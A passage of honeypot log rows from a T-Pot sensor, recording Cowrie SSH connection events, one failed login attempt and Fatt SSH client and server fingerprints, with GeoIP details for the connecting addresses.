23450	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:39.281019+03	2021-09-20 14:15:07.524501+03	{"_id": "0wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:41276 (192.168.176.2:22) [session: 0d49933d856e]", "session": "0d49933d856e", "@version": "1", "protocol": "ssh", "src_port": 41276, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.281019Z", "@timestamp": "2021-09-20T11:07:39.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23451	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.34322+03	2021-09-20 14:15:07.525472+03	{"_id": "1AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38834 (192.168.176.2:22) [session: 9c6d5e401cea]", "session": "9c6d5e401cea", "@version": "1", "protocol": "ssh", "src_port": 38834, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.343220Z", "@timestamp": "2021-09-20T11:07:39.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23452	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.585666+03	2021-09-20 14:15:07.5275+03	{"_id": "1QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37734 (192.168.176.2:22) [session: 72c411968063]", "session": "72c411968063", "@version": "1", "protocol": "ssh", "src_port": 37734, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.585666Z", "@timestamp": "2021-09-20T11:07:39.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23453	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.617485+03	2021-09-20 14:15:07.528511+03	{"_id": "1gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55918 (192.168.176.2:22) [session: 789372657a4e]", "session": "789372657a4e", "@version": "1", "protocol": "ssh", "src_port": 55918, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.617485Z", "@timestamp": "2021-09-20T11:07:39.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23454	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.621277+03	2021-09-20 14:15:07.5295+03	{"_id": "1wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55980 (192.168.176.2:22) [session: 8b38f6e5b96d]", "session": "8b38f6e5b96d", "@version": "1", "protocol": "ssh", "src_port": 55980, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.621277Z", "@timestamp": "2021-09-20T11:07:39.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23455	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.765089+03	2021-09-20 14:15:07.530502+03	{"_id": "2AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7402 (192.168.176.2:22) [session: 871935357b3b]", "session": "871935357b3b", "@version": "1", "protocol": "ssh", "src_port": 7402, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.765089Z", "@timestamp": "2021-09-20T11:07:39.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23456	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.971988+03	2021-09-20 14:15:07.531508+03	{"_id": "2QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:40158 (192.168.176.2:22) [session: b9052ed4dd93]", "session": "b9052ed4dd93", "@version": "1", "protocol": "ssh", "src_port": 40158, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.971988Z", "@timestamp": "2021-09-20T11:07:39.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23457	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:39.000725+03	2021-09-20 14:15:07.5335+03	{"_id": "3gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60160, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.000725", "@timestamp": "2021-09-20T11:07:39.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23458	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.048144+03	2021-09-20 14:15:07.534502+03	{"_id": "3wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7193, "timestamp": "2021-09-20T11:07:39.048144", "@timestamp": "2021-09-20T11:07:39.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23459	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.283075+03	2021-09-20 14:15:07.5355+03	{"_id": "4AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41276, "timestamp": "2021-09-20T11:07:39.283075", "@timestamp": "2021-09-20T11:07:39.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23485	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.907725+03	2021-09-20 14:15:07.56647+03	{"_id": "-gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [chris/chris] failed", "session": "ab55d5dbf2c2", "@version": "1", "password": "chris", "username": "chris", "timestamp": "2021-09-20T11:07:39.907725Z", "@timestamp": "2021-09-20T11:07:39.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23460	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.34846+03	2021-09-20 14:15:07.536472+03	{"_id": "4QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38834, "timestamp": "2021-09-20T11:07:39.348460", "@timestamp": "2021-09-20T11:07:39.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23461	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:39.56051+03	2021-09-20 14:15:07.537502+03	{"_id": "4gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41276, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.560510", "@timestamp": "2021-09-20T11:07:39.560Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23462	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.590725+03	2021-09-20 14:15:07.539472+03	{"_id": "4wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 